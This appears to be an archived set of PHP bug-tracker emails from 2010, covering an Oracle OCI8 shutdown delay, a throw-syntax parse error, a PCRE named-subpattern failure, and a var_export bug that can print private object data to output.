http://bugs.php.net/fix.php?id=52263&r=trysnapshottrunk Fixed in SVN: http://bugs.php.net/fix.php?id=52263&r=fixed Fixed in SVN and need be documented: http://bugs.php.net/fix.php?id=52263&r=needdocs Fixed in release: http://bugs.php.net/fix.php?id=52263&r=alreadyfixed Need backtrace: http://bugs.php.net/fix.php?id=52263&r=needtrace Need Reproduce Script: http://bugs.php.net/fix.php?id=52263&r=needscript Try newer version: http://bugs.php.net/fix.php?id=52263&r=oldversion Not developer issue: http://bugs.php.net/fix.php?id=52263&r=support Expected behavior: http://bugs.php.net/fix.php?id=52263&r=notwrong Not enough info: http://bugs.php.net/fix.php?id=52263&r=notenoughinfo Submitted twice: http://bugs.php.net/fix.php?id=52263&r=submittedtwice register_globals: http://bugs.php.net/fix.php?id=52263&r=globals PHP 4 support discontinued: http://bugs.php.net/fix.php?id=52263&r=php4 Daylight Savings:http://bugs.php.net/fix.php?id=52263&r=dst IIS Stability: http://bugs.php.net/fix.php?id=52263&r=isapi Install GNU Sed: http://bugs.php.net/fix.php?id=52263&r=gnused Floating point limitations: http://bugs.php.net/fix.php?id=52263&r=float No Zend Extensions: http://bugs.php.net/fix.php?id=52263&r=nozend MySQL Configuration Error: http://bugs.php.net/fix.php?id=52263&r=mysqlcfg
Bug #52263 [Opn]: Script cleanup takes long with Oracle 11 instant client
Edit report at http://bugs.php.net/bug.php?id=52263&edit=1
ID: 52263
User updated by: andrew at digicol dot de
Reported by: andrew at digicol dot de
Summary: Script cleanup takes long with Oracle 11 instant
client
Status: Open
Type: Bug
Package: OCI8 related
Operating System: Linux
PHP Version: 5.3.2
New Comment:
There is a logical fault in the script that I pasted - the calculation
of the elapsed time should be after the disconnect ( sorry, this
happened while stripping down the original test script to a simpler
one). This does not affect the described behavior, though - the pause is
still there:
...
if ($conn === false) die("ocilogon failed\n");
list($usec, $sec) = explode(' ', microtime());
$now = ((float)$usec + (float)$sec);
$elapsed = $now - $stime;
fwrite(STDOUT, $elapsed . "\n");
Previous Comments:
----
[2010-07-06 15:49:26] andrew at digicol dot de
Description:
PHP scripts that connect to an Oracle 11gR2 database server using
version 11 clients (instant client, fat client) hang for approx. one
second after the last command in the script has been executed.
=== version 11 client ===
PHP was build with the following configure option:
--with-oci8=--with-oci8=instantclient,/usr/local/lib64/instantclient/instantclient_11_2
Executing the test script results in:
$ time php oci_connect.php
0.0691978931427
real0m1.119s
user0m0.055s
sys 0m0.058s
The first value is printed as the last statement in the script. It will
not return immediately to the command-line, but hang noticeably for
approx. 1 second.
When commenting out the two OCI-related statements the script returns
immediately.
This may also be a bug in the Oracle client libraries, I am not sure.
But the one second pause does not happen when connect and disconnecting
with sqlplus:
time echo -e "exit\n" | sqlplus */*@//*/*
SQL*Plus: Release 11.2.0.1.0 Production on Thu Jul 1 16:56:11 2010
Copyright (c) 1982, 2009, Oracle. All rights reserved.
Connected to:
Oracle Database 11g Release 11.2.0.1.0 - 64bit Production
>Disconnected from Oracle Database 11g Release 11.2.0.1.0 - 64bit
Production
real 0m0.063s
user 0m0.018s
sys 0m0.011s
Test script:
---
oci_connect.php:
Expected result:
I would expect the same behavior as with the Oracle 10 client
libraries:
=== version 10 client ===
When PHP is built against the older, release 10 libraries, this does not
happen:
--with-oci8=--with-oci8=instantclient,/usr/local/lib64/instantclient/instantclient_10_2
Executing the test script results in:
$ time php oci_connect.php
0.0691978931427
real 0m0.161s
user 0m0.052s
sys 0m0.068s
--
Edit this bug report at http://bugs.php.net/bug.php?id=52263&edit=1
Bug #52263 [Bgs]: Script cleanup takes long with Oracle 11 instant client
Edit report at http://bugs.php.net/bug.php?id=52263&edit=1
ID: 52263
User updated by: andrew at digicol dot de
Reported by: andrew at digicol dot de
Summary: Script cleanup takes long with Oracle 11 instant
client
Status: Bogus
Type: Bug
Package: OCI8 related
Operating System: Linux
PHP Version: 5.3.2
New Comment:
Ok, thanks for the pointer to the other bug report. This is in fact
exactly the same issue.
However, I cannot subscribe to the statement that has been made there:
"Most deployments either do not start and stop PHP processes frequently,
or are
not sensitive to the time between completing the work of the script and
the
termination of the process."
We use a "find -name '*.xml' | php do_some_work.php -" style
approach. The actual execution time of the script is < 100 milliseconds.
Adding 1 second to each invocation makes the whole thing slower by
factor 10.
We could change the whole procedure to minimize PHP script invocations,
of course. But a one second overhead is quite hefty, isn't it?
Is there any chance this will be configurable if you don't need DRCP or
FAN?
Previous Comments:
[2010-07-06 16:26:00] johan...@php.net
Expected behavior. See bug #51610.
----
[2010-07-06 16:03:00] andrew at digicol dot de
There is a logical fault in the script that I pasted - the calculation
of the elapsed time should be after the disconnect ( sorry, this
happened while stripping down the original test script to a simpler
one). This does not affect the described behavior, though - the pause is
still there:
...
if ($conn === false) die("ocilogon failed\n");
list($usec, $sec) = explode(' ', microtime());
$now = ((float)$usec + (float)$sec);
$elapsed = $now - $stime;
fwrite(STDOUT, $elapsed . "\n");
----
[2010-07-06 15:49:26] andrew at digicol dot de
Description:
PHP scripts that connect to an Oracle 11gR2 database server using
version 11 clients (instant client, fat client) hang for approx. one
second after the last command in the script has been executed.
=== version 11 client ===
PHP was build with the following configure option:
--with-oci8=--with-oci8=instantclient,/usr/local/lib64/instantclient/instantclient_11_2
Executing the test script results in:
$ time php oci_connect.php
0.0691978931427
real0m1.119s
user0m0.055s
sys 0m0.058s
The first value is printed as the last statement in the script. It will
not return immediately to the command-line, but hang noticeably for
approx. 1 second.
When commenting out the two OCI-related statements the script returns
immediately.
This may also be a bug in the Oracle client libraries, I am not sure.
But the one second pause does not happen when connect and disconnecting
with sqlplus:
time echo -e "exit\n" | sqlplus */*@//*/*
SQL*Plus: Release 11.2.0.1.0 Production on Thu Jul 1 16:56:11 2010
Copyright (c) 1982, 2009, Oracle. All rights reserved.
Connected to:
Oracle Database 11g Release 11.2.0.1.0 - 64bit Production
>Disconnected from Oracle Database 11g Release 11.2.0.1.0 - 64bit
Production
real 0m0.063s
user 0m0.018s
sys 0m0.011s
Test script:
---
oci_connect.php:
Expected result:
I would expect the same behavior as with the Oracle 10 client
libraries:
=== version 10 client ===
When PHP is built against the older, release 10 libraries, this does not
happen:
--with-oci8=--with-oci8=instantclient,/usr/local/lib64/instantclient/instantclient_10_2
Executing the test script results in:
$ time php oci_connect.php
0.0691978931427
real 0m0.161s
user 0m0.052s
sys 0m0.068s
--
Edit this bug report at http://bugs.php.net/bug.php?id=52263&edit=1
[PHP-BUG] Bug #52401 [NEW]: throw construct invalid within conditional
From:
Operating system:
PHP version: 5.3.2
Package: Scripting Engine problem
Bug Type: Bug
Bug description:throw construct invalid within conditional
Description:
The following is a valid:
(!array_key_exists($class, $this->_data)) AND new
InvalidArgumentException("Class does not exist");
However the following is not:
(!array_key_exists($class, $this->_data)) AND throw new
InvalidArgumentException("Class does not exist");
Test script:
---
(!array_key_exists($class, $this->_data)) AND throw new
InvalidArgumentException("Class does not exist");
Expected result:
No syntax error
Actual result:
--
Parse error: syntax error, unexpected
--
Edit bug report at http://bugs.php.net/bug.php?id=52401&edit=1
--
Try a snapshot (PHP 5.2):
http://bugs.php.net/fix.php?id=52401&r=trysnapshot52
Try a snapshot (PHP 5.3):
http://bugs.php.net/fix.php?id=52401&r=trysnapshot53
Try a snapshot (trunk):
http://bugs.php.net/fix.php?id=52401&r=trysnapshottrunk
Fixed in SVN:
http://bugs.php.net/fix.php?id=52401&r=fixed
Fixed in SVN and need be documented:
http://bugs.php.net/fix.php?id=52401&r=needdocs
Fixed in release:
http://bugs.php.net/fix.php?id=52401&r=alreadyfixed
Need backtrace:
http://bugs.php.net/fix.php?id=52401&r=needtrace
Need Reproduce Script:
http://bugs.php.net/fix.php?id=52401&r=needscript
Try newer version:
http://bugs.php.net/fix.php?id=52401&r=oldversion
Not developer issue:
http://bugs.php.net/fix.php?id=52401&r=support
Expected behavior:
http://bugs.php.net/fix.php?id=52401&r=notwrong
Not enough info:
http://bugs.php.net/fix.php?id=52401&r=notenoughinfo
Submitted twice:
http://bugs.php.net/fix.php?id=52401&r=submittedtwice
register_globals:
http://bugs.php.net/fix.php?id=52401&r=globals
PHP 4 support discontinued: http://bugs.php.net/fix.php?id=52401&r=php4
Daylight Savings:http://bugs.php.net/fix.php?id=52401&r=dst
IIS Stability:
http://bugs.php.net/fix.php?id=52401&r=isapi
Install GNU Sed:
http://bugs.php.net/fix.php?id=52401&r=gnused
Floating point limitations:
http://bugs.php.net/fix.php?id=52401&r=float
No Zend Extensions:
http://bugs.php.net/fix.php?id=52401&r=nozend
MySQL Configuration Error:
http://bugs.php.net/fix.php?id=52401&r=mysqlcfg
#50720 [NEW]: Named subpatterns are not working with the syntax ? or ?'name', only wor
From: andrew at coolboxcreative dot com Operating system: Linux PHP version: 5.2.12 PHP Bug Type: Regexps related Bug description: Named subpatterns are not working with the syntax ? or ?'name', only wor Description: Named subpatterns are not working with the syntax ? or ?'name', only working with ?P The newer syntax's work with version 5.2.9-2 (on windows) and 5.2.11 (linux), but not version 5.2.12 (red hat) Reproduce code: --- http://www.coolboxcreative.com/demo/php_bug/source.txt Expected result: id = classes = test_class id = div_two classes = another_class Actual result: -- nothing outputted nb. in the application I am using this in I get the following error: Compilation failed: unrecognized character after (?< at offset 7' in -- Edit bug report at http://bugs.php.net/?id=50720&edit=1 -- Try a snapshot (PHP 5.2): http://bugs.php.net/fix.php?id=50720&r=trysnapshot52 Try a snapshot (PHP 5.3): http://bugs.php.net/fix.php?id=50720&r=trysnapshot53 Try a snapshot (PHP 6.0): http://bugs.php.net/fix.php?id=50720&r=trysnapshot60 Fixed in SVN: http://bugs.php.net/fix.php?id=50720&r=fixed Fixed in SVN and need be documented: http://bugs.php.net/fix.php?id=50720&r=needdocs Fixed in release: http://bugs.php.net/fix.php?id=50720&r=alreadyfixed Need backtrace: http://bugs.php.net/fix.php?id=50720&r=needtrace Need Reproduce Script: http://bugs.php.net/fix.php?id=50720&r=needscript Try newer version: http://bugs.php.net/fix.php?id=50720&r=oldversion Not developer issue: http://bugs.php.net/fix.php?id=50720&r=support Expected behavior: http://bugs.php.net/fix.php?id=50720&r=notwrong Not enough info: http://bugs.php.net/fix.php?id=50720&r=notenoughinfo Submitted twice: http://bugs.php.net/fix.php?id=50720&r=submittedtwice register_globals: http://bugs.php.net/fix.php?id=50720&r=globals PHP 4 support discontinued: http://bugs.php.net/fix.php?id=50720&r=php4 Daylight Savings:http://bugs.php.net/fix.php?id=50720&r=dst IIS Stability: http://bugs.php.net/fix.php?id=50720&r=isapi Install GNU Sed: http://bugs.php.net/fix.php?id=50720&r=gnused Floating point limitations: http://bugs.php.net/fix.php?id=50720&r=float No Zend Extensions: http://bugs.php.net/fix.php?id=50720&r=nozend MySQL Configuration Error: http://bugs.php.net/fix.php?id=50720&r=mysqlcfg
#50720 [Fbk->Csd]: Named subpatterns are not working with the syntax ? or ?'name', only wor
ID: 50720 User updated by: andrew at coolboxcreative dot com Reported By: andrew at coolboxcreative dot com -Status: Feedback +Status: Closed Bug Type: Regexps related Operating System: Linux PHP Version: 5.2.12 New Comment: The PCRE library is indeed an older version, so presume bug is down to that Previous Comments: [2010-01-11 16:39:14] scott...@php.net Check your phpinfo for the version of the PCRE library, I'm guessing that the Redhat version is using an old copy from the system and not the bundled PHP version. [2010-01-11 16:33:37] andrew at coolboxcreative dot com Description: Named subpatterns are not working with the syntax ? or ?'name', only working with ?P The newer syntax's work with version 5.2.9-2 (on windows) and 5.2.11 (linux), but not version 5.2.12 (red hat) Reproduce code: --- http://www.coolboxcreative.com/demo/php_bug/source.txt Expected result: id = classes = test_class id = div_two classes = another_class Actual result: -- nothing outputted nb. in the application I am using this in I get the following error: Compilation failed: unrecognized character after (?< at offset 7' in -- Edit this bug report at http://bugs.php.net/?id=50720&edit=1
#50754 [NEW]: var_export emits erroneous outputs on vars that contain recursive references
From: andrew at trib dot tv Operating system: Fed PHP version: 5.3.1 PHP Bug Type: Output Control Bug description: var_export emits erroneous outputs on vars that contain recursive references Description: My case is one in which var_export is being used to expose private members of classes present in the context of an error. So an error occurs, a custom handler is invoked, and it var_exports any variables in the error context which are objects, so that developers investigating the problem can see the values of private vars within these objects at the time the error occured. However, doing this: $str = var_export($object, true); If $object contains recursive references, var_export not only fails with a fatal error that cannot be handled or suppressed, but also flushes its internal output buffer, so if you've set the second argument to true, wanting the output returned rather than sent to the browser, you're out of luck, because it's gone. This is a security issue, because in some situations, a developer may have implemented var_export on objects with passwords stored within, and expects to get the object returned in a string. If the entire content of the object (up to the recursive reference) is instead output to the browser, this data is inadvertently exposed. I'd say that in such situations var_export should trigger an E_WARNING and return null or false. Then it can be safely used on objects that do not contain recursive references without having to know whether they do or not before you call the function. I'm aware of previous bugs filed on this issue, notably 17874 and 16074, so I raise this specifically in relation to te security implications, and also making the point that it is not possible to detect whether an object contains *private* recursive references before you take your life in your hands by throwing it at var_export and crossing your fingers! Cheers, Andrew Reproduce code: --- reftoself = $this; } } $x = new PrivateThing; $y = @var_export($x, true); echo "No passwords here!"; ?> Expected result: No passwords here! Actual result: -- PrivateThing::__set_state(array( 'publicvar' => 'notsecret', 'password' => 'supersecret', 'reftoself' => PrivateThing::__set_state(array( 'publicvar' => 'notsecret', 'password' => 'supersecret', 'reftoself' => PrivateThing::__set_state(array( 'publicvar' => 'notsecret', 'password' => 'supersecret', 'reftoself' => PrivateThing::__set_state(array( -- Edit bug report at http://bugs.php.net/?id=50754&edit=1 -- Try a snapshot (PHP 5.2): http://bugs.php.net/fix.php?id=50754&r=trysnapshot52 Try a snapshot (PHP 5.3): http://bugs.php.net/fix.php?id=50754&r=trysnapshot53 Try a snapshot (PHP 6.0): http://bugs.php.net/fix.php?id=50754&r=trysnapshot60 Fixed in SVN: http://bugs.php.net/fix.php?id=50754&r=fixed Fixed in SVN and need be documented: http://bugs.php.net/fix.php?id=50754&r=needdocs Fixed in release: http://bugs.php.net/fix.php?id=50754&r=alreadyfixed Need backtrace: http://bugs.php.net/fix.php?id=50754&r=needtrace Need Reproduce Script: http://bugs.php.net/fix.php?id=50754&r=needscript Try newer version: http://bugs.php.net/fix.php?id=50754&r=oldversion Not developer issue: http://bugs.php.net/fix.php?id=50754&r=support Expected behavior: http://bugs.php.net/fix.php?id=50754&r=notwrong Not enough info: http://bugs.php.net/fix.php?id=50754&r=notenoughinfo Submitted twice: http://bugs.php.net/fix.php?id=50754&r=submittedtwice register_globals: http://bugs.php.net/fix.php?id=50754&r=globals PHP 4 support discontinued: http://bugs.php.net/fix.php?id=50754&r=php4 Daylight Savings:http://bugs.php.net/fix.php?id=50754&r=dst IIS Stability: http://bugs.php.net/fix.php?id=50754&r=isapi Install GNU Sed: http://bugs.php.net/fix.php?id=50754&r=gnused Floating point limitations: http://bugs.php.net/fix.php?id=50754&r=float No Zend Extensions: http://bugs.php.net/fix.php?id=50754&r=nozend MySQL Configuration Error: http://bugs.php.net/fix.php?id=50754&r=mysqlcfg
#50754 [Bgs]: var_export emits erroneous outputs on vars that contain recursive references
ID: 50754 User updated by: andrew at trib dot tv Reported By: andrew at trib dot tv Status: Bogus Bug Type: Output Control Operating System: Fed PHP Version: 5.3.1 New Comment: Derek, Thank you for taking the time to select a canned response, though it would be much more encouraging to bug reporters if you actually responded to the points made (at length and in the correct manner) in the bug report before dismissing it as bogus. Could you comment on why this is not a security vulnerability? The security implications were initally raised *eight years ago* in bug 17874 by icecube at fr dot fm, but there has been no followup, hence my fresh bug report. If serialize($GLOBALS) manages to finish without crashing PHP and sending a half-complete invalid and potentially sensitive serialisation string to the browser / console, I don't understand why var_export can't do the same, nor what the justification is for claiming that the current behaviour is desirable. Cheers, Andrew Previous Comments: [2010-01-14 22:00:57] der...@php.net Thank you for taking the time to write to us, but this is not a bug. Please double-check the documentation available at http://www.php.net/manual/ and the instructions on how to report a bug at http://bugs.php.net/how-to-report.php Remove the @ and you see what really happens: Fatal error: Nesting level too deep - recursive dependency? in - on line 9 [2010-01-14 16:52:57] andrew at trib dot tv Description: My case is one in which var_export is being used to expose private members of classes present in the context of an error. So an error occurs, a custom handler is invoked, and it var_exports any variables in the error context which are objects, so that developers investigating the problem can see the values of private vars within these objects at the time the error occured. However, doing this: $str = var_export($object, true); If $object contains recursive references, var_export not only fails with a fatal error that cannot be handled or suppressed, but also flushes its internal output buffer, so if you've set the second argument to true, wanting the output returned rather than sent to the browser, you're out of luck, because it's gone. This is a security issue, because in some situations, a developer may have implemented var_export on objects with passwords stored within, and expects to get the object returned in a string. If the entire content of the object (up to the recursive reference) is instead output to the browser, this data is inadvertently exposed. I'd say that in such situations var_export should trigger an E_WARNING and return null or false. Then it can be safely used on objects that do not contain recursive references without having to know whether they do or not before you call the function. I'm aware of previous bugs filed on this issue, notably 17874 and 16074, so I raise this specifically in relation to te security implications, and also making the point that it is not possible to detect whether an object contains *private* recursive references before you take your life in your hands by throwing it at var_export and crossing your fingers! Cheers, Andrew Reproduce code: --- reftoself = $this; } } $x = new PrivateThing; $y = @var_export($x, true); echo "No passwords here!"; ?> Expected result: No passwords here! Actual result: -- PrivateThing::__set_state(array( 'publicvar' => 'notsecret', 'password' => 'supersecret', 'reftoself' => PrivateThing::__set_state(array( 'publicvar' => 'notsecret', 'password' => 'supersecret', 'reftoself' => PrivateThing::__set_state(array( 'publicvar' => 'notsecret', 'password' => 'supersecret', 'reftoself' => PrivateThing::__set_state(array( -- Edit this bug report at http://bugs.php.net/?id=50754&edit=1
